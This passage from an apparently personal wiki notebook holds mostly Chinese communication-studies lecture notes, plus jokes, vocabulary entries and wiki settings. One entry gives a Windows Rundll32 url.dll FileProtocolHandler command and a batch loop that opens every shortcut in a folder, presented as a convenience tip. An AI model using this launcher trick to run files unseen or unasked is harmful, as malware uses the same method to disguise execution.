：具体的说，就是媒介的各种产品，如新闻报道、电视剧、电影、音乐节目等等。抽象的说，就是经过符号再现的信息。\n\n二、大众传播内容的特点：1、综合性；2、公开性；3、开放性；4、大众性；5、复制性\n\n三、大众传播内容研究的目的\n\n1、进行大众传播内容研究，和媒介分析结合起来，可以探索大众传播的基本规律和有效技巧，为传播者更好的进行传播内容的制作服务。\n\n2、进行大众传播内容研究，和控制分析结合起来，可以透过最终的信息产品分析传播者的意图和观念。\n\n3、进行大众传播内容研究，和受众分析、效果分析结合起来，可以分析什么样的传播内容能够对哪些受众产生怎样的效果和影响。\n\n4、进行大众传播内容研究，还可以对其所反映的社会文化进行深入的探讨。\n\n四、如何研究大众传播内容\n\n（1）说什么\n\n梅尔文•德弗勒：美国大众传播内容的三个主要方面\n\n1、低级趣味内容；2、无争议内容；3、高级趣味内容\n\n西方大众传播内容：\n\n1、大众传播媒介只能选取一部分信息进行传播，传播内容只是媒介能够得到的大量信息中经过高度选择而不是全盘加以反映的抽样。因此，传播内容所反映的世界，并不是真正的完全的世界。\n\n2、大众传播媒介所传播的内容，相当大量的是娱乐性的，而不是消息性的，他们更多是分散而不是集中和增进人们对重要问题如社会经济政治等的注意力。\n\n3、大众传播媒介为了吸引最大量的受众，因此在内容上是通俗的、平易的，在形式上是简单的，很少传播意义不明确，可能被误解的复杂的材料。\n\n易读性（readability）测量：弗雷奇的易读性测量公式\n\n1、阅读容易度公式\n\n阅读容易度=206.835－0.846×每100字的音节数－ 1.015 ×每句平均字数\n\n2、人情味公式\n\n人情味分数=3.365 × 每百字中的人称词数目+0.314 ×每百句中的人称词数目\n\n易读性测量应用的领域：\n\n对新闻等大众传播内容进行测量；\n\n对教科书、宣传小册子进行测量；\n\n对合同书、公文写作进行测量等。\n\n易读性测量的缺点：\n\n1、较适用于表音文字体系和书面写作，对于更复杂的符号体系难以进行科学测量。\n\n2、只能测量文字符号形式的复杂性，无法测量其意义的理解难易程度，也无法测量修辞手法的影响。\n\n3、忽略了读者身上发生的复杂的信息处理和认知的过程。\n\n美国三大电视网在20世纪50~60年代选择节目的原则：\n\nLCD（Lowest Common Denominator），最小公分母原则，又称雅俗共赏原则，即节目应尽可能简单明了，满足尽可能多观众的欣赏口味，尽量少设置障碍；\n\nLOP（Least Objectionable Programming），最低反对原则，即节目不能引起任何争论、任何麻烦。\n\n（2）怎么说\n\n1、不同的大众媒体所制作的传播内容产品有自己的样式和风格。这是由传播制度、传播者的观念意图和传播理念、传播媒介渠道、媒介组织的定位经营、目标受众的需要所决定的。\n\n2、大众传播内容的制作也有一些普遍规律。\n\n第八讲\n\n受众\n\n一、受众是谁？Audience\n\n大众传播过程中的受众，即受传者，或称阅听人，是对大众媒介信息接收者的总称。具体而言，包括报刊书籍的读者、广播的听众、电影电视戏剧的观众、网络的浏览者等等。\n\n受众的分类\n\n（1）根据对信息的关注程度和内容的范围，可以分为一般受众和专门受众。\n\n（2）根据接触媒介方式的差异，可以分为读者、听众、观众，以及网络的浏览者。\n\n二、受众的特点：多、杂、散、匿\n\n大众（mass）vs. 精英（elite）\n\n（1）19世纪、20世纪前期，以托克威尔为代表的学者\n\n（2）20世纪30年代之后，以卡尔•曼海姆为代表的学者\n\n（3）二战之后，以里斯曼、孔豪瑟为代表的美国学者\n\n（4）60年代之后，以霍尔、费斯克为代表的欧洲学者\n\n三、受众的动机与目的：使用与满足理论\n\n（1）赫尔塔•赫措格\n\n1、1944年，对广播知识问答节目（Quiz）的研究\n\n①竞争心理需求；②获得新知识的需求；③自我评价的需求\n\n2、对广播肥皂剧的研究\n\n①“逃避日常生活的烦恼”；②“寻求代理参加的幻觉”；③“日常生活的教科书”\n\n（2）贝雷尔森\n\n1、1940年，《读书为我们带来什么》\n\n①实用动机②夸耀动机③休憩动机④逃避动机\n\n2、1949年，《没有报纸意味着什么》\n\n①获得外界消息的信息来源②日常生活的工具③休憩的手段④获得社会威信的手段⑤社交的手段⑥读报本身的目的化\n\n（3）D•麦奎尔和布卢姆勒\n\n1964年开始，对英国电视节目的研究\n\n①心绪转换②人际关系效用③自我确认④环境监测\n\n（4）布卢姆勒和卡茨\n\n1974年，五种可能的社会情况导致对媒介的需要和使用\n\n①社会局势产生各种紧张关系和冲突，导致要使用大众媒介来缓和。\n\n②社会局势造成对问题的发觉，要求注意并从媒介寻求可能得到的有关情报。\n\n③社会局势提供了可以满足某些需要的少有的真实的机会，导致向大众媒介取得辅助性的、补充的或替代性的服务。\n\n④社会局势使某些价值提高，而利用媒介中合适的材料是有助于确认和增强这些价值的。\n\n⑤社会局势提供一种要求熟悉某些媒介材料的有希望领域而这些材料必须记录下来以便维持其继续作为有地位的社会团体的成员。\n\n1974年，卡茨的“使用与满足”模式\n\n对使用与满足理论的评价：\n\n（1）“使用与满足”研究使传播学者的关注点从传播者向受众的主动传播转移到受众对大众媒介的主动使用上来，开创了传播研究的新阶段。正如施拉姆说，使用与满足研究还远远不是一种理论，但指明了形成理论可能采取的某些方向。\n\n（2）研究者们深入探讨了受众使用大众媒介的各种心理动机，对于了解受众的根本需求非常有帮助。但是，研究者们对受众所受到的更广泛社会影响缺乏充分的考察。\n\n（3）此外，仅仅强调受众的能动作用而忽略媒介的生产过程不能完整解释整个传播过程。受众对大众媒体的压力是有限的，他们的选择只能是在媒体提供的范围内进行选择。\n\n四、受众的选择\n\n（1）选择性接触（2）选择性注意（3）选择性理解（4）选择性记忆\n\n受众选择所受的影响1、个人差异论；2、社会分化论；3、社会关系论；4、文化规范论；5、社会参与论\n\n五、受众的权利：1、知情权；2、传播权（交流权和讨论权） 媒介的接近和使用权\n\n六、受众观念的演变（1）靶子论：被动的受众。（2）顽固的受众。（3）主动的受众。（4）受众细分化。\n\n思考题：\n\n▲大众传播的传播内容与人际传播相比，有哪些特点？\n\n▲美国大众传播内容有什么特色？有什么样的发展趋势？产生这种趋势的根本原因何在？\n\n▲我国大众传播内容与美国相比侧重哪些方面？在话语方式上有何特色？\n\n▲易读性测量可以应用于大众传播的哪些领域？\n\n▲受众的特点有哪些？\n\n▲简述使用与满足理论的发展过程、主要成果并作评价。\n\n▲你怎样看待受众？对于大众传播应采取什么对策？\n\n第九讲\n\n传播效果研究\n\n一、什么是传播效果\n\n所谓传播效果是指传播者发出的信息经媒介传至受众而引起受众思想观念、行为方式等的变化。\n\n（一）它指的是带有说服动机的传播行为在受传者身上引起的心理、态度和行为的变化。\n\n从这个角度衡量，传播效果指传播活动在多大程度上实现了传播者的意图或目的。\n\n（二）不管传播者有没有传播意图，他们所从事的传播活动总会伴随着各种各样的结果。\n\n从这个角度衡量，传播效果指受传者受到了传播活动的影响，在什么方向、多大程度上加强或改变了他们的态度和行为。\n\n二、传播效果研究的发展历程\n\n（1）枪弹论（子弹论，靶子论，皮下注射论，刺激—反应论）\n\n理论基础：1、社会学的大众社会理论；2、生物学和心理学的刺激—反应理论\n\n20世纪40年代之前：枪弹论的观念认为，受众成员是一个个孤立的人，很容易受到大众传播的影响，改变自己的态度和行为。\n\n代表性研究：宣传研究\n\n拉斯韦尔：《世界大战中的宣传技巧》\n\n“就广义而言，宣传是通过操纵表述以期影响人类行为的技巧。这些表述可以采用语言、文字、图画或音乐的形式进行。”一般而言，只有当行为对信源而不是对接收者有益的时候，才被称为宣传。\n\n宣传的四个目标：1、激起对敌人的仇恨；2、与盟军保持友好关系；3、与中立者保持友好关系，并尽可能达成合作；4、瓦解敌人的斗志\n\n李和李：《宣传的完美艺术》\n\n1、辱骂法 ——“恐怖主义”、“流氓国家”\n\n给某思想或某事物贴上一个不好的标签，使我们不经过检查就拒绝和谴责它。\n\n2、光辉泛化法 ——“新政”\n\n把某事物和好字眼联系在一起，使我们不经证实就接受或赞同它。\n\n3、转移法 ——名人广告（1）\n\n将某种令人尊敬的事物的权威、影响力、声望转移到另一个事物上使后者更容易被接受。\n\n4、证词法 ——名人广告（2）\n\n通过某些令人尊敬或使人讨厌的人评论某种观念、规划、产品或人，影响公众的态度。\n\n5、平民百姓法 ——克林顿“只是普通人”\n\n讲话者称自己及其观念是“人民的”或“普通老百姓的”以受到更广泛的信任。\n\n6、洗牌作弊法 ——东京湾事件\n\n选择使用事实或谎言、例证或不相关的材料、合理或不合理的陈述，对某种观念、规划、人或产品作尽可能好或尽可能坏的说明。\n\n7、乐队花车法 ——广告：“今年流行× ×”\n\n宣传者告诉人们“每个人都在这样做”，号召人们跟所属群体中其他人一样接受他的计划。\n\n宣传技巧的用途：\n\n用于政治宣传和战争宣传；\n\n用于广告和公共关系；\n\n对广大社会公众来说，了解宣传技巧可以做一个清醒的信息接收者。\n\n枪弹论的缺陷：\n\n1、没有实证研究的支持；\n\n2、忽略接收者的个人差异，一个大众传播的内容不可能对所有人都产生同样的效果。\n\n（2）有限效果论（强化效果论，最小效果论，无效果论）\n\n理论基础：个人差异论、社会分化论、社会关系论；群体动力学\n\n20世纪40年代—60年代：大众传播对于受众没有设想中那么威力无穷，传播者的意图经过中介因素才起作用，最后的效果往往不是态度的转变而是态度的强化。\n\n代表性研究\n\n1、霍夫兰和耶鲁学派：态度劝服研究\n\n1942—1945，霍夫兰研究军事纪录片对士兵的劝服效果。劝服效果理论：①一面说与两面说；②防疫论；③信息来源的重要性、休眠效应；④诉诸感情与诉诸理智；⑤重复律\n\n2、库珀等：漫画“比戈特先生”的研究。1947年。选择性理解会减弱信息的效力。\n\n3、拉扎斯费尔德等：两级传播论\n\n1940年，伊里调查\n\n①来自媒介的信息首先抵达舆论领袖，然后由舆论领袖通过人际传播传递给受其影响的追随者。这个过程被称为两级传播（两级流动传播）。\n\n②在影响选民的投票决定方面，人际传播的影响似乎不仅比大众媒介更经常，而且更有效。\n\n1948年，《人民的选择》1954年，《选举》1955年，《个人影响》\n\n对两级传播论的批评和修正：\n\n①大部分新闻报道仍然是由大众媒介直接传播开来。\n\n②舆论领袖及其追随者的关系，与其说给予意见，不如说分享意见。舆论领袖和非舆论领袖界限模糊。\n\n③最初的两级传播论将传播划为两级，但实际的传播过程可能更多或更少。\n\n④两级传播论隐含着认为大众传播媒介是舆论领袖的唯一信息渠道，实际上信息来源可能多样化。\n\n⑤大众媒介的功能主要是告知，而人际传播在劝服方面更为有效。\n\n两级传播论——多级传播论——N级传播论\n\n4、1960年约瑟夫•克拉珀《大众传播的效果》\n\n①大众传播一般不能成为对受众产生效果的必要的和充分的原因，而更可能处于各种中介因素和影响中，并通过这些因素和影响而起作用。\n\n②传播效果一般是强化现状，而非改变它。\n\n③中介因素包括选择性过程、群体过程、群体规范以及舆论领袖。\n\n有限效果论的缺陷：\n\n①有限效果论认为传播效果主要体现在态度的转变上，而不是态度的加强。\n\n②有限效果论只考虑传播效果对态度的影响，未考虑对其他方面的影响。\n\n③有限效果论只考虑对个人的传播效果，未考虑对社会和群体的传播效果。\n\n④有限效果论只考虑短期的效果，未考虑长期效果。\n\n⑤有限效果论只从传播者立场上来考虑传播效果，没有从受众的角度考虑。\n\n（2）适度效果论\n\n理论基础：主动的受众、社会参与论\n\n20世纪60年代—80年代：大众传播对于受众虽然没有枪弹论所认为那样直接的、立竿见影的效果，但是也不像有限效果论说的那么不堪，它仍然是具有一定影响的，这种影响应该从受众这个角度来衡量，并且从长期效果来衡量。\n\n代表性研究和理论成果\n\n1、雷蒙•鲍尔：《顽固的受众》 1964年\n\n从考虑“what can the message do to the audience”，到考虑“what can the audience do with the message”\n\n2、使用与满足理论\n\n传播效果：指受众能从大众传播的讯息当中得到什么样的需求的满足。\n\n3、创新与扩散理论\n\n1962年，罗杰斯和休梅克：《创新的传播》\n\n创新：一种被采纳者认为是新颖的观念、行为方式或事物。\n\n五方面性质：相对优越性、兼容性、复杂性、可试验性、可观察性。“一般而言，被认为有较高的相对优越性、兼容性、可试验性、可观察性以及更少复杂性的创新能更快被人们采用。”\n\n扩散：对创新的信息进行传播的一种特殊传播形式。\n\n个人接受者的五个阶段：获知、说服、决定、实施、确认\n\n整体的扩散阶段：S型曲线\n\n关于传播效果的探讨：\n\n①大众传播在个人的获知阶段较为重要，而人际传播的影响力在劝服阶段更为突出。\n\n②大众传播对于初期采用者比晚期采用者更为重要。\n\n③大众传播和人际传播的结合是新事物的传播和说服人们采用它们的最有效途径。\n\n4、议程设置理论\n\n1968年，麦库姆斯和肖：查普尔希尔调查\n\n1972年，麦库姆斯和肖：夏洛特调查\n\n1982年，埃因格：电视新闻节目实验\n\n大众传播往往不能决定人们对某一事件或意见的具体看法，但可以通过提供给信息和安排相关的议题来有效地左右人们关注哪些事实和意见及他们谈论的先后顺序。\n\n大众传播可能无法影响人们怎么想，却可以影响人们去想什么。\n\n5、教养理论（涵化理论）\n\n格伯纳等：12年间美国电视剧暴力镜头的研究。暴力和犯罪在电视上呈现过多，电视观众得到了夸张的危险感和不安全感，倾向于认为这是一个“不安全和罪恶的世界”。\n\n①电视观众认识的现实接近于电视媒介呈现的现实，而非真正的现实 。\n\n②接触媒介越多的人越明显 。\n\n③主流化：收看电视多的人的观念会趋同，不管性别年龄教育程度如何，他们形成了社会的主流观念 。\n\n④共鸣：人们在电视中看到的场景同现实生活中遇到的场景有重合时，会大大提高教养的程度 。\n\n6、暴力内容对行为的效果\n\n1972年，医务总监报告：“在看电视暴力和侵犯行为之间存在着初步的以及暂时的因果关系；这种因果关系只在某些儿童，那些具有暴力倾向的儿童身上起作用；这种因果关系只在某些环境下才起作用。”\n\n7、知识沟假说\n\n1970年，蒂奇纳、多诺霍、奥里恩：《大众传播流动和知识差距的扩大》：“随着大众传媒向社会传播的信息日益增多，社会经济状况较好的人将比社会经济状况较差的人以更快的速度获取这类信息。因此，这两类人之间的知识沟将呈扩大而非缩小之势。”\n\n1972年，库克等：《重游<芝麻街>》\n\n①对于经常收看此节目的人来说，知识沟可能会缩小。\n\n②家长的文化程度越高，家庭收看此节目的次数就越多。\n\n③在不同经济收入或文化层次的群体之间，试图以《芝麻街》缩小知识沟极为困难。\n\n关于传播效果的探讨：\n\n①大众传播会影响社会群体的知识差距。\n\n②大众传播可能使得所有人的知识水平提高。\n\n③但是不同群体的提高水平是不一样的，而社会的知识沟有增大的趋势。\n\n（2）强大效果论\n\n20世纪80年代后：强大效果论重新强调大众传播有巨大的效果，但是与枪弹论不同，强大效果论强调的效果不是简单的、直接的，而是复杂的、间接的；不是短期的、立竿见影的，而是长期的、潜移默化的；不是微观的、个体的，而是宏观的、社会的。\n\n代表性研究：\n\n1、诺纽曼：沉默的螺旋理论\n\n1973《重归大众传播的强力观》：大众传播所鼓吹的观点被人们认为是主流观点，于是持异见的人避免发表自己的意见，人际支持也随之减弱，最终“把一种意见确立为主要的意见。”大众传播的三个特质是累积性、普遍性和共鸣性，三者综合，对民意产生了巨大的效果。\n\n2、第三者效果\n\n1983年，戴维森提出。第三者假设认为，人们倾向于夸大大众媒介消息对其他人态度和行为的影响，而低估了自己所受到的影响。\n\n3、电视暴力对行为产生的效果\n\n①净化说。②模仿说。③免除抑制说。\n\n1982，美国全国精神健康研究所报告：“电视上的暴力确实导致了看这些节目的少年儿童的侵犯行为。……当然，并不是所有的儿童都会变得有侵犯倾向；但是，在电视暴力与侵犯行为之间存在着积极相关。”\n\n4、1984年《伟大的美国价值观测验》\n\n电视的确可以改变人们的态度、他们对基本价值观的评定及他们参与政治性行为的意愿。\n\n三、传播效果研究的普遍结论\n\n1、大众传播对个人的影响主要体现在对个人社会化的影响上。大众传播影响了公众对现实问题及其重要性的认识。\n\n2、大众传播影响了社会群体的观念和文化，并促进各种群体的融合。\n\n3、大众传播能促进社会变革和产生新文化形式。它帮助传统社会实现现代化，并形成了大众文化。\n\n思考题：\n\n▲我们应该从哪些方面来衡量传播效果？\n\n▲请简述传播效果研究的发展历程。\n\n▲简述并评价枪弹论、宣传的七种技巧、态度劝服理论、两级传播论、创新与扩散论、议程设置理论、教养理论、知识沟假说、沉默的螺旋、第三者效果。\n\n第十讲\n\n传播研究方法\n\n一、传播学的实证研究方法（量化研究方法）：\n\n拉斯韦尔：内容分析法； 拉扎斯菲尔德：调查研究法； 霍夫兰、卢因：控制实验法\n\n基本的研究流程：\n\n几个概念：\n\n自变量：即研究者操纵或控制的变量。它是因果关系中的因。\n\n因变量：即研究人员所要观察、解释的变量。它是因果关系中的果。\n\n信度：即研究中测量单位的一致性。信度指的是研究方法的可信度，如果信度高，那么研究就可以重复进行，每次的结果都差不多相同。\n\n效度：即一项研究是否确实对研究者所宣称要测量的事物做出了测量。效度指的是研究方法的有效性，如果效度高，那么研究结论就能够对研究问题或假设做出最贴近的说明。\n\n（1）调查研究法：一种为获得关于某一事物或现象的科学知识，通过一定的客观程序进行数据或资料的收集、记录、统计、分析，以探索和揭示其现状、过程、构成要素或运动变化规律为目的的研究方法。\n\n①确定研究方法：调查研究法\n\n②制定研究方案：调查目的；调查对象；调查范围；调查方法；数据分析处理技术；实施日程；费用预算\n\n③找到测量对象：抽样\n\n非随机抽样；随机抽样：简单随机抽样、系统随机抽样、整群随机抽样、分层随机抽样、多级随机抽样\n\n一般使用：多级分层混合抽样\n\n④获得量化数据\n\n1、设计问卷\n\nA、问卷的构成：前言；基本项目，即调查对象的特征指标；与调查主题相关的事实或行动项目；关于态度、意见、行为倾向等评价性项目；结束语\n\nB、问题的设置：开放式、封闭式、混合式；选项的设置：列举、排序\n\nC、问卷设计的一般原则：采用通俗易懂的口语；避免使用专业词汇和缩写；避免使用意义含混的说法；避免虚构性的提问；避免主观诱导提问；避免提问调查对象记忆模糊的问题；避免同一个选项双重提问；留意提问顺序可能造成的影响；先问事实性问题，再问评价性问题，将调查对象容易拒绝回答的问题放在最后。\n\n2、对问卷进行试测和修改；培训调查员\n\n3、进行实际调查：当面访问；邮寄问卷；电话访问\n\n⑤整理分析数据：计算信度、效度、抽样方差、置信区间；归纳总体情况；进行因果分析\n\n（2）内容分析法：对明确传达的传播内容进行客观、系统和定量的分析与描述的一种方法。——贝雷尔森\n\n①确定研究方法：内容分析法\n\n②制定研究方案\n\n③找到测量对象：\n\n1、抽样；2、确定分析单元：要测量的是，一个字、词、句子、整条新闻、整个版面；或者一个镜头、一个人物、一个场景、一条新闻、一个节目？对分析单元进行明确的界定。\n\n④获得量化数据\n\n1、制定分析类别和定量评分标准；2、试测和修订；3、培训内容分析员；4、对内容样本进行归类和评分\n\n⑤处理分析数据\n\n（3）控制实验法：在室内进行，对某些实验因素加以人为控制，从而探索自变量和因变量之间的因果关系的一种研究方法。\n\n①确定研究方法：控制实验法\n\n②制定研究方案\n\n③找出测量对象：抽样，分组\n\n实验组 对照组\n\n所罗门四组 R O1a X O1b\n\nR O2a O2b\n\nR X O3b\n\nR O4b\n\n④获得量化数据\n\n1、制作测试材料，控制测试环境；2、事先测试；3、进行实验；4、事后测试；5、后续实验和测试\n\n⑤整理分析数据\n\n定量研究方法的缺陷：\n\n1、社会科学中的定量研究方法不具备自然科学方法的精确和严谨，这种科学性不是绝对的。\n\n2、任何学者都有自己的立场、价值观、文化背景和特定的意识形态，所谓的客观不过是一种幻想。\n\n3、传播现象和人的行为无限复杂，而可观察、可测定、可量化的经验材料是有限的。定量研究只能得出几个因素之间的因果关系，却无法分析整个传播系统的相互作用。\n\n4、定量研究依赖个人或小群体层面上的经验材料，对微观传播现象的研究有效，但在考察宏观的传播历史进程以及社会传播结构方面缺乏有效手段。\n\n二、传播学的定性研究方法\n\n1、二手资料分析法；2、文本分析；3、民族志方法\n\n基本的研究流程：\n\n思考题：\n\n▲定量方法和定性方法有何区别？如何将两者结合进行传播研究？\n\n▲试选择一个传播研究课题设计一份调查问卷。\n\n▲试选择一个传播研究课题搜集相关一手和二手资料。\n\n第十一讲\n\n传播学批判学派\n\n一、\n\n目的的差异：传统学派的研究目的是维护现存的社会制度和传播制度，实用性明显；批判学派志在对现存的传播状况进行批判，促进社会变化。\n\n焦点的差异：传统学派的焦点放在传播效果和受众研究上，而批判学派更关注宏观的传播体制、传播者和传播与社会结构各要素的关系。\n\n方法的差异：传统学派主要采用来自社会学、心理学的定量研究方法，注重实证、经验、微观；批判学派从哲学、政治经济学、文学、社会学等人文学科领域出发，注重思辩、理论、宏观。\n\n二、批判学派的思想源头\n\n1、西方马克思主义\n\n（1）马克思：经济基础与上层建筑的关系；意识形态的概念；阶级斗争的观点。\n\n（2）阿尔都塞：意识形态是人对于自己与世界的关系的想象。人是意识形态的人。意识形态通过“召唤”使人成为社会结构的主体。军队、警察、法院、监狱等是国家暴力机器，而教会、学校、政党、媒体等是国家意识形态机器。暴力机器的镇压和意识形态的诱导共同构成了国家权力。\n\n（3）葛兰西：霸权（hegemony，或译为领导权）\n\n霸权不是意识形态，它不是阶级意念的简单再现，也不能由统治阶级强加，而是由大众传媒等通过日常的新闻报道、宣传、广告活动，把支配阶级的利益描述为社会的普遍利益，目的是制造“社会同意”。\n\n（4）伊格尔顿：“占支配地位的意识形态若不在一定程度上如实反映并使人确信它反映了无产阶级、农民阶级或小资产阶级的利益，没有把握这些阶级的经验中某些至关重要的主题并加以改造，是不可能长久存在下去的。”\n\n2、法兰克福学派\n\n1923年，德国法兰克福大学社会学研究所成立。代表人物有霍克海默、阿多诺、马尔库塞、本雅明等。他们从马克思主义理论出发对资本主义社会进行宏观的广泛的批判性研究。1934年迁往美国。1949年回到法兰克福。\n\n“文化工业”（culture industry） vs. 大众文化（mass culture）\n\n阿多诺：文化工业千篇一律的产品容纳了包装后的意识形态，造成文艺作品的标准化、模式化和简单化，也带来文化消费的物化。\n\n马尔库塞：文化工业抹煞了文化的鲜明个性，抹煞了“否定的理性”，造成人们的虚假需要，把他们禁锢成“单向度的人”。\n\n本雅明：艺术的“机械复制”。技术的进步带来了艺术的可复制性和贴近性，造成神秘感和韵味的消失。\n\n哈贝马斯：“沟通理性”和“公共领域”。随着资本主义的发展，公共领域遭到了政治领域和商品经济领域的双重侵蚀。\n\n三、批判学派的主要取向\n\n1、政治经济学派：强调从经济基础出发分析社会和传播现状。\n\n四个核心：历史、社会整体、道德哲学、实践\n\n（1）美国：赫伯特•席勒：1969年，《大众传播与美利坚帝国》：“文化帝国主义”\n\n（2）加拿大：达拉斯•斯密塞：传播业的主要商品是受众。\n\n（3）英国：戈尔丁和默多克：大众传播的垄断；公共商品变为私有商品。\n\n（4）法国：阿芒•马特拉：《国际传播与文化霸权》，2001，中央编译。\n\n以商品原则为唯一驱动力的全球化演进与人权、公民权的维护和捍卫是相左的；传播是民族空间的结构手段，也应对民族中心注意观念保持足够的理论警惕。\n\n2、文化研究学派\n\n以英国伯明翰大学当代文化研究中心（CCCS）为核心，主要观点：\n\n大众传播生产了大众文化，其中容纳了丰富的意识形态内容，反映了斗争之下形成的权力关系；由于符号的多义性以及受众社会背景的多样性，受众可能对文本做出偏好性、妥协性、对抗性等不同的阅读。\n\n分析的关键问题：阶级、性别、种族。方法：文本分析和民族志\n\n（1）斯图亚特•霍尔：《电视话语的编码与解码》受众的三种态度：偏好性、妥协性、对抗性\n\n（2）大卫•莫利：《<举国上下>的观众》：由于文化条件分配的不平等，受众使用的话语方式影响其电视文本的解读过程。\n\n（3）洪美恩：《解读<达拉斯>》：受众从文本中获得快感。大众意识形态驻扎在感性层面而不是理性层面。\n\n（4）约翰•费斯克：大众媒介进行了双重消费过程。受众在第二重对“多义的”文本生产出自己的快感，进行了创造性和抵抗性的消费。\n\n四、为何要进行批判研究：“马达”与“刹车”的比喻——李彬\n\n思考题：\n\n▲简述传统学派与批判学派的差别。\n\n▲考虑一下自己的传播研究价值观和方法论取向。\n\n▲讨论我国传播事业中的权力分布状况。\n\n▲对一个报纸版面、电视节目或某一个广告进行文本分析，看看其中容纳了什么样的意识形态。受众可能的解读方式又是怎样的。\n\n传播学基本理论\n\n1、使用与满足理论2、创新与扩散理论3、议程设置理论4、沉默的螺旋5、枪弹论6、有限效果7、适度效果论8、强大效果论\n\n9、两级传播论10、选择性因素理论11、符号互动论12、群体动力论13、语言话语分析14、实地调查法15、内容分析法\n\n16、网络传播时代17、线性传播模式18、报刊的四种理论19、内向传播理论20、人际传播理论21、组织传播理论\n\n22、大众传播理论23、把关人理论24、传播演进规律（传播与人类社会发展关系）25、社会制度与传播制度的关系\n\n26、传播的负面功能与潜在功能27、传播者把关的因素28、大众传播效果的普遍取向29、知识沟理论30、教养理论\n\n31、第三者效果理论32、电视暴力效果33、社会学习理论34、新媒介环境的特征35、恐惧诉求理论36、信源的可信度\n\n37、预防接种理论38、说服理论及说服的四个技巧39、宣传的七种策略及应用40、社会顺从理论\n\n41、一面之词与两面之词
B2楼下的打印店不装杀毒软件, 而且不洁的信息交流行为频繁. 极端危险!
Rundll32.exe url.dll, FileProtocolHandler ''url or lnk file''\n启动lnk文件的方法\nfor %%f in (*.lnk) do Rundll32.exe url.dll, FileProtocolHandler %%f\n打开当前目录下的所有快捷方式
中国建设银行（CBC）："存不存？" \n中国银行（BC）：" 不存！" \n中国农业银行（ABC）："啊？不存？" \n中国工商银行（ICBC）："爱存不存！ " \n民生银行（CMSB）："存么，傻B！ " \n招行（CMBC）："存么，白痴 ！" \n国家开发银行（CDB）："存点吧！" \n兴业银行（CIB）："存一百！" \n北京市商业银行（BCCB）："白存，存不？"\n汇丰银行（HSBC）："还是不存!" \n提"钱"祝大家五一快乐！
1.在一个精神病院楼下，总会有一个老婆婆举着把伞蹲在那里。终于有一天，一个护士去问她在干什么，结果老婆婆神色凝重地说:“嘘，我是一朵蘑菇。。。” \n\n2.有一天，老师带一群小朋友到山上采水果， \n 他宣布说:“小朋友，采完水果后，我们统一一起洗，洗完可以一起吃。” \n 所有小朋友都跑去采水果了。 \n 集合时间一到，所有小朋友都集合了。 \n 老师:“小华，你采到什么？” \n 小华:“我在洗苹果，因为我采到苹果。” \n 老师:“小美你呢？” \n 小美:“我在洗蕃茄，因为我采到蕃茄。” \n 老师:“小朋友都很棒哦！那阿明你呢？” \n 阿明:“我在洗布鞋，因为我踩到大便。” \n\n3. 一个人骑摩托车喜欢反穿衣服，就是把扣子在后面扣上，可以挡风。 \n一天他酒后驾驶，翻了，一头栽在路旁。 \n员警赶到后... \n员警甲：好严重的车祸。 \n员警乙：是啊，脑袋都撞到后面去了。 \n员警甲：嗯，还有呼吸，我们帮他把头转回来吧。 \n员警乙：好.....一、二使劲，转回来了。 \n员警甲：嗯，没有呼吸了...... \n\n4. 猪八戒正在月亮上和嫦娥亲热，突然一条黑影掠过，猪八戒急忙提着钉耙 \n追出去，过了一会回来了，说：妈的，杨利伟...... \n\n5.医院为防止病人出逃外设100道，两精神病患者仍欲逃出医院。于夜黑努力 \n翻墙。至第30道墙下， \n“累了么？” ， \n“不累。”于是二人继续向外翻。 \n至第60道墙下， \n“你累了么？” \n“不累。”于是二人继续向外翻， \n至第99道墙下， \n“你累了么？ ” \n“累了” \n“那好，我们翻回去吧” \n\n6.你与猪自由出题，猪问：“你猜我口袋里有几块糖？” 你问：如果答对了 \n可以给我吃么？”猪说：“你猜对了，我就把两块都给你”。你流着口水 \n问：“是三块么？” \n\n7. 大森林里一天，狐狸在吸大麻，这时小兔子从远处跑来，看到这一切，走过来说：狐狸狐狸，你怎么能吸大麻呢，对身体不好的，看，空气多么新鲜啊，快了和我一起跑步吧。狐狸想想也对，于是就和小兔子一起跑步 \n\n跑着跑着，他们看到大象正在吸海洛因，小兔子跑过去对大象说：大象啊大象，你干嘛吸毒呢，看空气多么的新鲜，和我一起跑步吧。大象想来也对，就个他们两一起跑步。 \n\n跑着跑着，看到了狮子卷起袖子，正要注射海洛因，小兔子远远的对着狮子喊：狮子啊狮子，吸毒对身体不好啊，看空气多么新鲜，和我一起跑步吧... \n\n只见狮子放下注射器冲了过来，把小兔子狂扁了一顿，大象战战兢兢对狮子说：你为什么打小兔子啊，他不想我门伤害身体多好啊！ \n\n狮子气户户的说：NND 死兔子，每次嗑了药就要我陪他在森林里疯跑，靠！ \n\n8.一根火柴总是喜欢用自己的头去撞墙，有一天用力过猛火柴着了，大家把它送到医院，医生用纱布缠啊缠，火柴就变成棉花棒了． \n\n9.从前有个馒头~吃了一颗肉丸子~就变成了包子~~ \n 从前有一个人长得很像洋葱，走着走着就哭了```` \n 从前有一个叫风筝的人在路上走着走着就飞起来了~ \n 从前有个人姓史有一天他被人用水冲走了~ \n 从前有一个鸡蛋去茶馆喝茶，结果它变成了茶叶蛋~ \n\n10吸血蝙蝠满身鲜血的回来，众蝙蝠甚是羡慕,问他从哪找来这么多鲜血，它把众蝙蝠带到一大树旁， 问：看到大树没？ \n众答：看到了。 \n它：TMD，我就没看到。 \n\n11. 家电举办讲笑话大赛，规定每个电器都要讲一个笑话，而且让现场的每一位观众都哈哈大笑，否则要被送去废品加工厂。首先上场的是洗衣机，他笑话一讲完，全场哈哈大笑，突然听到电饭锅说：“好冷哦。”所以洗衣机就被抓去废品加工厂了。接下来上场的是最聪明的电脑，他的笑话一讲完，所有的家电全部笑翻了，又听到电饭锅说：“好冷哦。”所以，电脑也被抓去废品加工厂了。第三位是最幽默的台灯，台灯很有自信的讲完笑话，大家全部笑到在地上打滚，电饭锅又说：“好冷哦。” 正当台灯要被抓去废品加工厂时，电饭锅很生气的站起来，转过头对坐在他后面的冰箱说：“我受够了,你笑就笑，嘴巴不要张那么大，好冷哦！”
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steep 价格过高 \n \n
obesity\n肥胖
<<option chkGenerateAnRssFeed>> GenerateAnRssFeed\n<<option chkOpenInNewWindow>> OpenLinksInNewWindow\n<<option chkSaveEmptyTemplate>> SaveEmptyTemplate\n<<option chkToggleLinks>> Clicking on links to tiddlers that are already open causes them to close\n^^(override with Control or other modifier key)^^\n<<option chkHttpReadOnly>> HideEditingFeatures when viewed over HTTP\n<<option chkForceMinorUpdate>> Treat edits as MinorChanges by preserving date and time\n^^(override with Shift key when clicking 'done' or by pressing 